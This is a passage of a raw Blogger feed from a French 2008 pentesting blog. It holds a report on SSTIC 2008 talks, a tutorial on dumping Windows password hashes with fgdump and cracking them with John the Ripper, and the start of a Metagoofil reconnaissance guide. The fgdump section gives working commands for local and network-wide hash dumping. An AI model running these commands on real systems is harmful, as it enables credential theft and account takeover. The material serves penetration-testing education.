SslNetcat!'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_BhVyBIyY5_8/SFEvS_8nFEI/AAAAAAAAAJk/bI5C1J31n3o/s72-c/generation_certif.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-1529295239800954670</id><published>2008-06-07T03:07:00.000-07:00</published><updated>2008-06-08T09:35:46.888-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Theory'/><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>[SSTIC2008] Feedbacks</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Lors de l'édition 2008 du &lt;a href="http://www.sstic.org/"&gt;SSTIC&lt;/a&gt;, plusieurs conférences ont porté sur les tests d'intrusion avec&lt;/span&gt;&lt;/em&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_BhVyBIyY5_8/SEwKRhzAKVI/AAAAAAAAAJc/HroAyb_-GJQ/s1600-h/logo_sstic_transp.png"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://bp0.blogger.com/_BhVyBIyY5_8/SEwKRhzAKVI/AAAAAAAAAJc/HroAyb_-GJQ/s400/logo_sstic_transp.png" alt="" id="BLOGGER_PHOTO_ID_5209550165207165266" border="0" /&gt;&lt;/a&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt; différents points de vue : &lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;- point de vue théorique: le danger des outils d'intrusion automatisés ;&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;- point de vue pratique avec l'outil &lt;/span&gt;&lt;/em&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;SinFP, un scanner semi-actif/semi passif pour la phase de découverte d'un test d'intrusion ;&lt;/span&gt;&lt;/em&gt;&lt;/div&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;- point de vue juridique.&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/em&gt;&lt;em&gt;&lt;br /&gt;&lt;/em&gt;&lt;/div&gt;&lt;em&gt;&lt;/em&gt;&lt;strong&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;1 - Outils d'intrusion automatisés (&lt;span style="font-style: italic;"&gt;par Mathieu BLANC&lt;/span&gt;)&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;&lt;span&gt;&lt;u&gt;1.1 - Les menaces portés par les outils de pentest automatisés&lt;/u&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;Par outils de tests d'intrusion, on parle ici de &lt;a href="http://www.blogger.com/www.metasploit.com/"&gt;&lt;span style="font-style: italic;"&gt;Metasploit&lt;/span&gt;&lt;/a&gt;, &lt;a href="http://www.coresecurity.com/?module=ContentMod&amp;amp;action=item&amp;amp;id=32"&gt;&lt;span style="font-style: italic;"&gt;Core Impact&lt;/span&gt;&lt;/a&gt; et &lt;a href="http://www.immunitysec.com/products-canvas.shtml"&gt;&lt;span style="font-style: italic;"&gt;CANVAS&lt;/span&gt;&lt;/a&gt;. Personnellement, &lt;/span&gt;&lt;span&gt;je ne retiendrai que les deux derniers, le premier n'ayant pas pour objectif de reconstituer l'ensemble de la &lt;/span&gt;&lt;span&gt;démarche d'un Pentest. Ensuite, la particularité de cet exposé était de montrer ces outils d'un point de vue  &lt;/span&gt;&lt;span&gt;"original", et plus précisément d'en montrer les dangers.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_BhVyBIyY5_8/SEv_kQlHKFI/AAAAAAAAAJM/axSx3BRU-Wc/s1600-h/img-canvas.gif"&gt;&lt;img style="margin: 0pt 10px 10px 0pt; float: left; cursor: pointer; width: 116px; height: 78px;" src="http://bp1.blogger.com/_BhVyBIyY5_8/SEv_kQlHKFI/AAAAAAAAAJM/axSx3BRU-Wc/s400/img-canvas.gif" alt="" id="BLOGGER_PHOTO_ID_5209538392375109714" border="0" /&gt;&lt;/a&gt;&lt;span&gt;Les outils étudiés ont la faculté de reproduire le déroulement d'un test d'intrusion (phase de décou&lt;/span&gt;&lt;span&gt;verte&lt;/span&gt;&lt;span&gt;, d'identification, tentative d'exploitation (à l'aide de &lt;span style="font-weight: bold;"&gt;0day&lt;/span&gt; en plus d'exploits corrigés), &lt;/span&gt;&lt;span&gt;découverte des ressources locales, élévation de privilège locale, installation d'agent pour rebond &lt;/span&gt;&lt;span&gt;et répétition des opérations précédentes). Le but est de compromettre le maximum de m&lt;/span&gt;&lt;span&gt;achines sans se préoccuper de la furtivité.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;br /&gt;Les solutions sont si simples que si elles sont mises à la disposition de personnes malicieuse avec seulement un minimum de compétence, cela peut s'avérer&lt;/span&gt;&lt;span&gt; dévastateur. Or, &lt;span style="font-weight: bold;"&gt;via des réseaux pirates ou P2P, il est possible de se les procurer&lt;/span&gt; ...&lt;br /&gt;&lt;br /&gt;Lors d'une erreur de la part de &lt;span style="font-style: italic;"&gt;Core Impact&lt;/span&gt;, l'éditeur de &lt;span style="font-style: italic;"&gt;Core Security&lt;/span&gt;, &lt;span style="font-weight: bold;"&gt;la liste des abonnés étaient disponible&lt;/span&gt; via la liste de diffusion des mises à jour.&lt;/span&gt;&lt;/div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;span&gt;Une version ancienne de Core Impact exploitait une vulnérabilité en déplaçant temporairement le &lt;span style="font-family:courier new;"&gt;sh&lt;/span&gt;. Cela pouvait se conclure par la&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_BhVyBIyY5_8/SEv_Wm4WJTI/AAAAAAAAAJE/W3E58gpY8Cs/s1600-h/logo_core_impact.gif"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://bp1.blogger.com/_BhVyBIyY5_8/SEv_Wm4WJTI/AAAAAAAAAJE/W3E58gpY8Cs/s400/logo_core_impact.gif" alt="" id="BLOGGER_PHOTO_ID_5209538157843195186" border="0" /&gt;&lt;/a&gt;&lt;span&gt; &lt;span style="font-weight: bold;"&gt;création d'une backdoor &lt;/span&gt;en cas d'incident pendant l'exploitation.&lt;br /&gt;&lt;br /&gt;La propagation de l'action des solutions peuvent amener à un &lt;span style="font-weight: bold;"&gt;débordement du périmètre &lt;/span&gt;convenu avec le client. Aussi, cela peut provoquer des attaques de type déni de service sur des applications sensibles.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;1.2 - Se protéger des outils de pentest automatisés&lt;/u&gt;&lt;/span&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;Commencer par &lt;span style="font-weight: bold;"&gt;mettre à jour&lt;/span&gt; ses systèmes d'exploitation et ses applications. Ainsi, seuls les 0day, en proportion mineure, pourront affecter nos machines.&lt;br /&gt;&lt;br /&gt;Ensuite, les agents utilisent un "&lt;span style="font-style: italic;"&gt;multi-stage shellcode&lt;/span&gt;". A chaque "étage", une contre-mesure devra être trouvée. Si le second étage n'est pas exécuté, c'est que l'attaque a été bloquée à ce niveau.&lt;br /&gt;&lt;br /&gt;Pour bloquer les attaques réseau, un &lt;span style="font-weight: bold;"&gt;IPS &lt;/span&gt;doté de signatures adéquat semble être la solution la plus appropriée. Ensuite, une &lt;span style="font-weight: bold;"&gt;sandbox&lt;/span&gt; permet de rediriger l'action des agents pour les rendre inoffensifs.&lt;br /&gt;&lt;br /&gt;Au niveau système, les sondes de type &lt;span style="font-weight: bold;"&gt;SNORT  &lt;/span&gt;en mode HIDS peuvent bloquer un certain nombre d'attaques.&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;span&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;span&gt;Enfin, il est possible de  contre-attaquer avec des attaques de type &lt;span style="font-style: italic;"&gt;buffer-overflow&lt;/span&gt; par exemple.&lt;/span&gt;&lt;/div&gt;&lt;span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;em&gt;&lt;/em&gt;&lt;strong&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;2 -SinFP, prise d'empreintes active et passive (&lt;span style="font-style: italic;"&gt;par Philippe AUFFRET&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;u&gt;2.1 - Les forces de SinFP&lt;/u&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style="text-align: justify;"&gt;J'ai décidé de vous parler de cet outil car il peut nous être très utile lors d'un test d'intrusion. Pourquoi ? Notamment parce qu'il peut représenter une bonne alternative par rapport à &lt;a href="http://nmap.org/"&gt;nmap &lt;/a&gt;lorsque les conditions de tests sont complexes :&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp2.blogger.com/_BhVyBIyY5_8/SEwEVmRCmoI/AAAAAAAAAJU/KWfAQYpoyOs/s1600-h/gomororg-black.jpg"&gt;&lt;img style="margin: 0pt 0pt 10px 10px; float: right; cursor: pointer;" src="http://bp2.blogger.com/_BhVyBIyY5_8/SEwEVmRCmoI/AAAAAAAAAJU/KWfAQYpoyOs/s400/gomororg-black.jpg" alt="" id="BLOGGER_PHOTO_ID_5209543638056606338" border="0" /&gt;&lt;/a&gt;&lt;ul&gt;&lt;li&gt;environnement NATé/PATé ;&lt;/li&gt;&lt;li&gt;présence d'équipements de sécurité (pare-feu (et ports filtrés), I{D|P}S ;&lt;/li&gt;&lt;li&gt;un ou quelques ports TCP ouverts seulement ;&lt;/li&gt;&lt;li&gt;implémentation d'IPv6 ;&lt;/li&gt;&lt;li&gt;... &lt;/li&gt;&lt;/ul&gt;Aussi, cet outil de prise d'empreinte dispose d'un mode passif ET actif ! Ce qui fait sa particularité. Ainsi, &lt;a href="http://www.gomor.org/bin/view/Sinfp"&gt;SinFP&lt;/a&gt; peut avoir la force d'un &lt;a href="http://lcamtuf.coredump.cx/p0f.shtml"&gt;p0f&lt;/a&gt; et d'un nmap respectivement.&lt;br /&gt;&lt;br /&gt;De plus, il est doté d'un mode d'invisibilité. pour accomplir cela, SinFP utilise des requêtes standards qui ne seront pas bloquées par un IDS car alors, ce dernier risquerait de bloquer des requêtes légitimes.&lt;br /&gt;&lt;br /&gt;&lt;u&gt;2.2 - SinFP, comment ça marche ?&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;En mode actif, 3 tests sont effectués :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;P1&lt;/span&gt; : Une requête &lt;span style="font-family:courier new;"&gt;TCP SYN&lt;/span&gt; sans option ;&lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;P2&lt;/span&gt; : Une requête &lt;span style="font-family:courier new;"&gt;TCP SYN&lt;/span&gt; avec de nombreuses options ; &lt;/li&gt;&lt;li&gt;&lt;span style="font-weight: bold;"&gt;P3&lt;/span&gt; : Une requête &lt;span style="font-family:courier new;"&gt;TCP SYN + ACK&lt;/span&gt;.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;span&gt; &lt;/span&gt;&lt;div style="text-align: justify;"&gt;Les réponses se basent ensuite sur l'analyse des entêtes &lt;span style="font-family:courier new;"&gt;IP&lt;/span&gt; et &lt;span style="font-family:courier new;"&gt;TCP &lt;/span&gt;et une base de signature (environ 150).&lt;br /&gt;&lt;br /&gt;En mode passif, la récupération d'information se fait :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;à l'aide d'un fichier pcap ;&lt;/li&gt;&lt;li&gt;grâce à l'écoute du réseau.&lt;/li&gt;&lt;/ul&gt;Ensuite, la méthode d'analyse de la signature récupérée peut être transformée de sorte que l'analyse est assimilée à celle vue pour une signature  active (cf. ci-dessus).&lt;br /&gt;Il faut savoir que SinFP peut être lancé en mode mixte (ie, passif et actif).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;3 -Les tests d'intrusion d'un point de vue théorique (&lt;span style="font-style: italic;"&gt;par Marie BAREL&lt;/span&gt;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;u&gt;3.1 - Le pentest, une problématique complexe&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Il nous fallait bien le SSTIC pour aborder enfin les tests d'intrusion d'un point de vue juridique. Et qui dit consultant SSI juridique dit ... Marie Barel ! Ok, c'était écrit dans le titre ;) Pour commencer, Marie nous a fait sourire en classant Nessus dans les outils "passifs" mais nous l'avons bien compris, c'est parce qu'il n'exploite pas de faille. Pour résumer brièvement le contenu de la présentation, il faudrait retenir les phrases suivantes :&lt;br /&gt;&lt;ul&gt;&lt;li&gt;le contrat entre le prestataire et le client, c'est très très très important ! Attendez, je rajoute encore un "très" ! et attention, les contrats type, c'est pas bien ! &lt;/li&gt;&lt;li&gt;il ne faut surtout pas négliger les phases de préparation (délimitation du périmètre, intervention d'un tiers ? (ex : hébergeur), etc ...) ;&lt;/li&gt;&lt;li&gt;l'expert sécurité, il maîtrise !&lt;/li&gt;&lt;/ul&gt;&lt;u&gt;3.2 - Se protéger juridiquement&lt;/u&gt;&lt;br /&gt;&lt;br /&gt;Si le ton est quelque peu ironique, c'est qu'en réalité, les aspects juridiques sont d'une complexité inouïe et certainement plus encore que le plus difficile des pentests que vous ayez pu faire sur le plan technique et là, Marie, pour nous l'expliquer, elle maîtrise ! Ici aussi, il n'y a pas un pentest pareil et puisqu'il y a forcément risque et argent mis en jeu, la prudence est indispensable. Si des lois (notamment le code pénale) essaient de cadrer tous les scénarii, c'est irréaliste dans la pratique. En effet, les mesures de protection juridiques côtés client et prestataire souffrent de failles elles aussi : on ne peut pas être exhaustif et la réalité ne permet souvent pas de mettre en place les propositions d'une loi ou recommandation juridique. Bref, sécurité technique, organisationnelle ou juridique, même combat : il faut limiter le risque au maximum.&lt;br /&gt;&lt;br /&gt;***&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;strong style="font-style: italic;"&gt;&lt;/strong&gt;&lt;span&gt;&lt;span style="font-style: italic;"&gt;A noter que j'ai écrit deux autres posts, l'un sur la sécurisation des "green" datacenters et l'autre sur la "dépérimétrisation". Ces deux articles sont disponibles sur le &lt;/span&gt;&lt;a style="font-style: italic;" href="http://esec.fr.sogeti.com/blog/dotclear/?2008/06/06/32-compte-rendu-sstic-2008-journee-du-jeudi"&gt;blog de l'ESEC&lt;/a&gt;&lt;span style="font-style: italic;"&gt;.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-1529295239800954670?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/1529295239800954670/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=1529295239800954670' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/1529295239800954670'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/1529295239800954670'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2008/06/sstic2008-feedbacks.html' title='[SSTIC2008] Feedbacks'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp0.blogger.com/_BhVyBIyY5_8/SEwKRhzAKVI/AAAAAAAAAJc/HroAyb_-GJQ/s72-c/logo_sstic_transp.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-402198618923383077</id><published>2008-05-18T12:26:00.001-07:00</published><updated>2008-05-18T14:39:01.808-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>[PRIVILEGE ESCALATION]Alert! Your secret is known!</title><content type='html'>&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Si vous souhaitez récupérer les mots de passes d'une machine Windows, la solution classique consiste à booter le PC sur un CD. Outre le fait que cela prend pas mal de temps, il est possible d'empêcher le reboot sur le CD en configurant de manière sécurisée le BIOS. Alors comment fait-on ? Il est donc temps de vous présenter &lt;span style="font-weight: bold;"&gt;fgdump&lt;/span&gt; !&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;em&gt;&lt;/em&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Installation&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-weight: bold;"&gt;1/ &lt;/span&gt;&lt;span&gt;Télécharger la dernière version de fgdump sur : &lt;a href="http://swamp.foofus.net/fizzgig/fgdump/downloads.htm"&gt;http://swamp.foofus.net/fizzgig/fgdump/downloads.htm&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2/&lt;/span&gt; Euh ... c'est tout ! ;)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;Utilisation basique&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;div style="text-align: justify;"&gt;&lt;span&gt;Tout d'abord, nous allons commencer par utiliser fgdump pour récupérer les mots de passe hashés sur la machine locale. Pour cela, nous avons besoin d'un compte ayant les droits d'administrateur sur la machine locale, ce qui est le cas du compte sur lequel nous sommes connectés. Si un antivirus tourne sur la machine (ce que nous osons espérer !), cet utilitaire se chargera de l'arrêter et de le redémarrer pour vous :)&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;fgdump -O 32 -v&lt;/blockquote&gt;&lt;br /&gt;&lt;/span&gt;&lt;div style="text-align: justify;"&gt;&lt;span&gt;Avec -O (optionnel) pour spécifier que la machine utilise une architecture 32 bits (sinon, 64) et -v pour "verbose". Nous obtenons les résultats suivants :&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_BhVyBIyY5_8/SDCFj5O4vqI/AAAAAAAAAIk/BwIal_Z7lIE/s1600-h/localhost-bis.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp1.blogger.com/_BhVyBIyY5_8/SDCFj5O4vqI/AAAAAAAAAIk/BwIal_Z7lIE/s400/localhost-bis.JPG" alt="" id="BLOGGER_PHOTO_ID_5201804421318098594" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Nous voyons que l'opération a réussi. En plus d'informations utiles (comme la version exacte de l'OS), fgdump génère plusieurs fichiers dont le fichier &lt;span style="font-family:courier new;"&gt;127.0.0.1.pwdump&lt;/span&gt;. Nous y trouvons notamment les informations concernant le compte &lt;span style="font-family:courier new;"&gt;jer001 &lt;/span&gt;qui est notre cible :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;jer001:1013:B34CE522C3E4C8774A3B108F3FA6CB6D:B9F917853E3DBF6E6831ECCE60725930:::&lt;/blockquote&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Si de plus ce compte dispose de plus de droits que nous en avons actuellement, cela nous permettra de réussir une escalade de privilèges.&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Encore faut-il cracker ce mot de passe ... John ! L'outil que nous allons utiliser est &lt;span style="font-family:courier new;"&gt;john-the-ripper&lt;/span&gt;, certainement le cracker de mot de passe &lt;span style="font-style: italic;"&gt;offline&lt;/span&gt; le plus connu (téléchargeable à l'adresse &lt;a href="http://www.openwall.com/john/"&gt;http://www.openwall.com/john/&lt;/a&gt;).&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;john-386.exe --users=jer001 127.0.0.1.pwdump&lt;/blockquote&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp3.blogger.com/_BhVyBIyY5_8/SDCJMZO4vrI/AAAAAAAAAIs/-WPyhItLcH4/s1600-h/john1.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp3.blogger.com/_BhVyBIyY5_8/SDCJMZO4vrI/AAAAAAAAAIs/-WPyhItLcH4/s400/john1.JPG" alt="" id="BLOGGER_PHOTO_ID_5201808415637683890" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Ensuite, pour afficher le mot de passe, nous utiliserons en plus un petit script,  d'un autre agent que vous connaissez certainement ;) (&lt;a href="http://michel.arboi.free.fr/"&gt;Agent M.A&lt;/a&gt;) que je remercie au passage. Ce dernier permet d'obtenir la casse du mot de passe, ce que le cracker ne nous fournit pas.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp1.blogger.com/_BhVyBIyY5_8/SDCho5O4vtI/AAAAAAAAAI8/3CdEm3xAyig/s1600-h/john2.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 533px; height: 40px;" src="http://bp1.blogger.com/_BhVyBIyY5_8/SDCho5O4vtI/AAAAAAAAAI8/3CdEm3xAyig/s400/john2.JPG" alt="" id="BLOGGER_PHOTO_ID_5201835293543022290" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Utilisation avancée&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;Parmi les options proposées par &lt;span style="font-family:courier new;"&gt;fgdump&lt;/span&gt;, voici les commandes qui me paraissent intéressantes :&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;1/&lt;/span&gt; Fournir un nom pour obtenir le nom des répertoires partagés. Une fois le compte jer001 compromis, nous l'utilisons ainsi :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;fgdump -u jer001 -O 32 -v&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://bp0.blogger.com/_BhVyBIyY5_8/SDCTIpO4vsI/AAAAAAAAAI0/n2G-2kmYj48/s1600-h/localhost-utilisateur.JPG"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://bp0.blogger.com/_BhVyBIyY5_8/SDCTIpO4vsI/AAAAAAAAAI0/n2G-2kmYj48/s400/localhost-utilisateur.JPG" alt="" id="BLOGGER_PHOTO_ID_5201819346329452226" border="0" /&gt;&lt;/a&gt; &lt;span style="font-weight: bold;"&gt;2/&lt;/span&gt; Si nous auditons un sous-réseau, nous pouvons lancer la commande sur une machine distante avec l'option &lt;span style="font-family:courier new;"&gt;-h &lt;adresse&gt;&lt;/adresse&gt;&lt;/span&gt; et mieux, une liste de machines distantes avec l'option &lt;span style="font-family:courier new;"&gt;-f &lt;liste&gt;&lt;/liste&gt;&lt;/span&gt;. Nous pouvons faire encore mieux en définissant le nom d'utilisateur et le mot de passe pour chaque machine auditée avec l'option &lt;span style="font-family:courier new;"&gt;-H &lt;liste&gt;&lt;/liste&gt;&lt;/span&gt;. La liste aura alors la forme suivante :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;192.168.0.2:jer001:passw0rd&lt;br /&gt;192.168.03:Alice:guess_me&lt;br /&gt;192.168.0.4:Bob:Can_U_Find_Me?&lt;br /&gt;...&lt;br /&gt;&lt;/blockquote&gt;&lt;div style="text-align: justify;"&gt;Et pour terminer, nous ajoutons la commande -T &lt;nombre&gt; pour exécuter plusieurs threads simultanément, ce qui permettra de rendre le travail plus rapide. Au final, nous obtenons donc la commande suivante  pour tester le réseau :&lt;br /&gt;&lt;br /&gt;&lt;/nombre&gt;&lt;blockquote&gt;fgdump -H liste.txt -T 5&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Une dernière option intéressante : &lt;span style="font-family:courier new;"&gt;-s&lt;/span&gt; pour retrouver les mots de passe stockés par Outlook et/ou Internet Explorer :&lt;br /&gt;&lt;/div&gt;&lt;span style="font-style: italic;"&gt;&lt;br /&gt;Pour plus d'information, vous devriez lire la documentation des auteurs &lt;/span&gt;&lt;a style="font-style: italic;" href="http://swamp.foofus.net/fizzgig/fgdump/fgdump-usage.htm"&gt;ici&lt;/a&gt;&lt;span style="font-style: italic;"&gt;.&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9218294967285138539-402198618923383077?l=mission-security.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://mission-security.blogspot.com/feeds/402198618923383077/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9218294967285138539&amp;postID=402198618923383077' title='5 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/402198618923383077'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9218294967285138539/posts/default/402198618923383077'/><link rel='alternate' type='text/html' href='http://mission-security.blogspot.com/2008/05/privilege-escalationalert-your-secret.html' title='[PRIVILEGE ESCALATION]Alert! Your secret is known!'/><author><name>Jer001</name><uri>http://www.blogger.com/profile/10602250886210141882</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://bp1.blogger.com/_BhVyBIyY5_8/SDCFj5O4vqI/AAAAAAAAAIk/BwIal_Z7lIE/s72-c/localhost-bis.JPG' height='72' width='72'/><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9218294967285138539.post-6107643048393080056</id><published>2008-04-25T16:00:00.001-07:00</published><updated>2008-04-25T17:30:47.207-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='pentesting'/><title type='text'>[Pentesting] [Discovery phase] When relevant information is available ... on the Internet!</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;em&gt;&lt;span style="color: rgb(153, 153, 153);"&gt;Lorsque nous commençons nos tests d'intrusion, il est important d'engranger un grand nombre d'information. Cela constitue autant de piste d'attaque par la suite. En l'occurrence, les identifiants et mots de passe sont des données privilégiées, ainsi que les documents sensibles. Pour faciliter et automatiser une telle recherche, nous allons voir deux outils de la société &lt;a href="http://www.edge-security.com/"&gt;Edge-Security&lt;/a&gt;. Cette dernière vient de sortir une nouvelle version de son outil Metagoofil et il vaut le détour ! Nous allons le voir tout de suite.&lt;/span&gt;&lt;/em&gt;&lt;br /&gt;&lt;/div&gt;&lt;em&gt;&lt;/em&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;strong&gt;&lt;span style="color: rgb(51, 153, 153);"&gt;Préparation de l'attaque&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/strong&gt;&lt;span style="font-weight: bold;"&gt;1/&lt;/span&gt; Commençons par télécharger l'outil à l'adresse suivante : &lt;a href="http://www.edge-security.com/soft/metagoofil-1.4.tar"&gt;http://www.edge-security.com/soft/metagoofil-1.4.tar&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;2/&lt;/span&gt; Dans votre console, décompressez-le :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;tar -xvf metagoofil-1.4.tar&lt;/blockquote&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;3/&lt;/span&gt;Installer extract qui est nécessaire pour l'extraction des méta-données des documents.&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;apt-get install extract&lt;br 